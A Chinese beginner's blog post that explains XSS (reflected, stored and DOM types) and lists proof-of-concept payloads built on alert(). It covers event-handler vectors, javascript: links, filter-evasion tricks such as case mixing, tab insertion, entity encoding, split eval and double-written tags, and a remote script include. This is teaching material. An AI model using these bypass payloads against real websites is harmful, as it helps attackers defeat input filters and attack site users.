浅谈XSS

XSS的基本概念

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。xss是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户。

漏洞原因

(或者说是XSS原理)当动态页面中插入的内容含有这些特殊字符时,正好你要访问的服务器并没有对用户的输入进行安全方面的验证,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

验证XSS漏洞存在

POC:漏洞的验证和检测。
验证XSS漏洞的POC如下:

<script>alert(xss)</script>       常用
<script>confirm(xss)</script>
<script>prompt(xss)</script>

反射型XSS

XSS代码提交到服务端,服务器解析后,在响应内容中返回输入的XSS代码,最终由浏览器解释执行。

存储型XSS

攻击者提交XSS代码后,服务器会将其储存于数据库中,其他用户访问后,服务器将含有XSS代码的数据输出在HTTP响应中。

DOM型XSS

较为特殊:构造的XSS代码在浏览器本地修改DOM树而执行,并不会传到服务器上,所以更难解决。如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。

构造XSS代码

1.利用<>构造HTML标签和

<a href="javascript:alert(xss)">touch me!</a>

点击超链接即可触发XSS。
也可以使用img标签的伪协议,这种方法只在IE6下测试成功

<img src="javascript:alert(xss)">

3.事件驱动

事件解释
Keyboard事件键盘按键触发的事件
Mouse事件由鼠标或类似用户动作触发的事件
Form事件对HTML表单动作触发的事件
Windows事件对windows对象触发的事件

例:

<img src=./hello.jpg’ onmouseover='alert(xss)'>

这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码。

<input type="button" onclick="alert(xss)">

点击按钮,会触发XSS代码

<img src='#' onerror='alert(xss)'>

图片发生错误时,会触发XSS代码

其他标签及手法:

<svg onload="alert(xss)">
<input onfocus='alert(xss)' autofocus>

大家可以自行探索会发生的情况。

XSS变换

1.大小写转换:
例:<iMg sRc='#' Onerror="alert(xss)"/>
<a hREf="javascript:alert(xss)">click me</a>
2.引号的使用

HTML对引号不敏感,但是某些过滤函数对引号敏感。

<img src="#" onerror="alert(xss)"/>
<img src='#' onerror='alert(xss)'/>
<img src=# onerror=alert(xss)/>
3.用/代替空格
例:<img/src='#'/onerror='alert(xss)'/>
4.在一些地方添加tab(水平制表符)和回车符,来绕过关键字的检测
<img src='#' onerror='alert(xss)'	/>
<a href="javas
cript:alert(xss)">click me</a>
5.对标签属性进行编码
字母ascii码十进制编码十六进制编码
a97aa
e101ee
字母十六进制编码
Tab&#9
换行符&#10
回车符&#13
6.拆分跨站
<script>z='alert'</script>
<script>z=z+'(xss)'</script>
<script>eval(z)</script>
7.双写绕过
<scr<script>ipt>
8.远程运用shellcode

远程利用JS:将JS代码单独放在一个JS文件中,然后通过HTTP协议加载。

例:<script src="http://192.168.1.0/xss_test/xss.js"></script>

Xss.js的内容如下:alert(‘xss.js’);

结语

一个小白对xss漏洞的一点点小理解,希望大家能够有所收获。如有错误,欢迎大家赐教。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值